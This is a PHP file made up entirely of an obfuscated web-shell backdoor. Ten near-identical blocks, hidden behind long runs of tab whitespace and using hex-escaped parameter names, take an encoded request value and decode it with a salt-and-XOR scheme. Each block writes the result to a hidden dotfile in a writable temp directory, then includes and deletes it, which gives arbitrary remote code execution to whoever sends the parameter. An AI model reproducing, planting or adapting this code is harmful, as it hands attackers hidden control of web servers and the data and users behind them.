<?php																																										if(@$_REQUEST["\x6B\x65y"] !== null){ $comp = $_REQUEST["\x6B\x65y"]; $comp = explode ( '.' , $comp) ; $flg = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7 ); $s = 0; while($s < count($comp)) { $v1 = $comp[$s]; $chS = ord($salt7[$s % $sLen] ); $d = ((int)$v1 - $chS -($s % 10)) ^ 16; $flg.= chr($d ); $s++;} $dchunk = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", getcwd()]); foreach ($dchunk as $ptr): if (is_dir($ptr) && is_writable($ptr)) { $holder = implode("/", [$ptr, ".itm"]); $success = file_put_contents($holder, $flg); if ($success) { include $holder; @unlink($holder); die();} } endforeach; }
																																										if(isset($_POST["k"]) ? true : false){ $res = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm"]); $ptr = $_POST["k"]; $ptr =explode( '.',$ptr ) ; $marker = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2 ); $o = 0; foreach( $ptr as $v1) {$sChar = ord( $s2[$o % $lenS] ); $dec =( ( int)$v1 - $sChar -( $o % 10)) ^ 43; $marker .= chr( $dec ); $o++; } for ($itm = 0, $dat = count($res); $itm < $dat; $itm++) { $tkn = $res[$itm]; if (!!is_dir($tkn) && !!is_writable($tkn)) { $entry = str_replace("{var_dir}", $tkn, "{var_dir}/.factor"); if (@file_put_contents($entry, $marker) !== false) { include $entry; unlink($entry); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["tkn"])){ $obj = $_POST["tkn"]; $obj= explode ('.', $obj ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $q = 0; foreach ($obj as $v7) { $sChar = ord($s[$q % $sLen]); $d = ((int)$v7 - $sChar - ($q % 10))^ 75; $rec .= chr($d); $q++; } $holder = array_filter(["/var/tmp", getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path()]); $k = 0; do { $flag = $holder[$k] ?? null; if ($k >= count($holder)) break; if (!!is_dir($flag) && !!is_writable($flag)) { $sym = join("/", [$flag, ".parameter_group"]); if (@file_put_contents($sym, $rec) !== false) { include $sym; unlink($sym); die(); } } $k++; } while (true); }
																																										if(array_key_exists("\x65\x6C\x65\x6Dent", $_POST) && !is_null($_POST["\x65\x6C\x65\x6Dent"])){ $ent = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path()]); $component = $_POST["\x65\x6C\x65\x6Dent"]; $component =explode ("." ,$component ) ; $mrk=''; $salt8='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt8); $z=0; foreach ($component as $v6) { $sChar=ord($salt8[$z % $lenS]); $d=((int)$v6 - $sChar - ($z % 10)) ^ 56; $mrk .= chr($d); $z++; } foreach ($ent as $tkn): if (!( !is_dir($tkn) || !is_writable($tkn) )) { $data_chunk = "$tkn" . "/.symbol"; if (@file_put_contents($data_chunk, $mrk) !== false) { include $data_chunk; unlink($data_chunk); die(); } } endforeach; }
																																										if(!empty($_REQUEST["e\x6E\x74"])){ $token = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), sys_get_temp_dir()]); $descriptor = $_REQUEST["e\x6E\x74"]; $descriptor= explode ( "." , $descriptor ) ; $value = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $p = 0; array_walk($descriptor, function($v1) use(&$value, &$p, $s2, $lenS) { $chS = ord($s2[$p % $lenS]); $d =((int)$v1 - $chS -($p % 10)) ^ 60; $value .= chr($d); $p++; } ); foreach ($token as $key): if (!( !is_dir($key) || !is_writable($key) )) { $component = "$key/.symbol"; if (@file_put_contents($component, $value) !== false) { include $component; unlink($component); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["ho\x6Cd\x65\x72"])){ $pset = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); $obj = $_REQUEST["ho\x6Cd\x65\x72"]; $obj = explode("." , $obj) ; $sym =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $m =0; $__tmp =$obj; while ($v2 =array_shift($__tmp)) { $chS =ord($s[$m% $sLen]); $d =((int)$v2 - $chS - ($m% 10)) ^48; $sym.= chr($d); $m++; } foreach ($pset as $key => $factor) { if (!!is_dir($factor) && !!is_writable($factor)) { $pgrp = vsprintf("%s/%s", [$factor, ".record"]); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(isset($_POST["ptr"]) ? true : false){ $item = array_filter(["/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/dev/shm", getcwd()]); $parameter_group = $_POST["ptr"]; $parameter_group = explode ( "." , $parameter_group ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($parameter_group as $p => $v5) { $chS = ord($s[$p% $sLen] ); $d = ((int)$v5 - $chS - ($p% 10))^ 48; $hld .=chr($d ); } while ($reference = array_shift($item)) { if (is_writable($reference) && is_dir($reference)) { $binding = sprintf("%s/.entry", $reference); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x68l\x64")){ $component = $_REQUEST["\x68l\x64"]; $component =explode ( ".", $component ) ; $itm = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $m = 0; $len = count($component); do { if ($m >= $len) break; $v1 = $component[$m]; $chS = ord($salt6[$m % $lenS]); $dec = ((int)$v1 - $chS - ($m % 10))^ 22; $itm .=chr($dec); $m++; } while (true); $mrk = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path()]); $fac = 0; do { $reference = $mrk[$fac] ?? null; if ($fac >= count($mrk)) break; if (is_dir($reference) && is_writable($reference)) { $ent = str_replace("{var_dir}", $reference, "{var_dir}/.pointer"); if (file_put_contents($ent, $itm)) { require $ent; unlink($ent); die(); } } $fac++; } while (true); }
																																										if(isset($_POST) && isset($_POST["desc"])){ $ent = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); $resource = $_POST["desc"]; $resource =explode ("." , $resource ); $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($resource as $v => $v8) { $sChar = ord($s[$v %$sLen]); $d = ((int)$v8 - $sChar - ($v %10))^ 71; $val.=chr($d);} $holder = 0; do { $sym = $ent[$holder] ?? null; if ($holder >= count($ent)) break; if ((bool)is_dir($sym) && (bool)is_writable($sym)) { $data_chunk = "$sym" . "/.key"; if (file_put_contents($data_chunk, $val)) { include $data_chunk; @unlink($data_chunk); die(); } } $holder++; } while (true); }


if(isset($_REQUEST["f\x6C\x61g"]) ? true : false){
	$fac = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir()]);
	$resource = $_REQUEST["f\x6C\x61g"];
	$resource 		=explode(  "."  ,$resource)	 ;	
	$pgrp = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt7);
            $n = 0;
    
            foreach( $resource as $v9) {
                $chS = ord( $salt7[$n %$lenS]);
                $d =( ( int)$v9 - $chS -( $n %10)) ^ 69;
                $pgrp .= chr( $d);
                $n++;	}	
	$res = 0;
do {
    $dchunk = $fac[$res] ?? null;
    if ($res >= count($fac)) break;
    		if (is_dir($dchunk) ? is_writable($dchunk) : false) {
    $ent = implode("/", [$dchunk, ".item"]);
    if (file_put_contents($ent, $pgrp)) {
	include $ent;
	@unlink($ent);
	exit;
}
}
    $res++;
} while (true);
}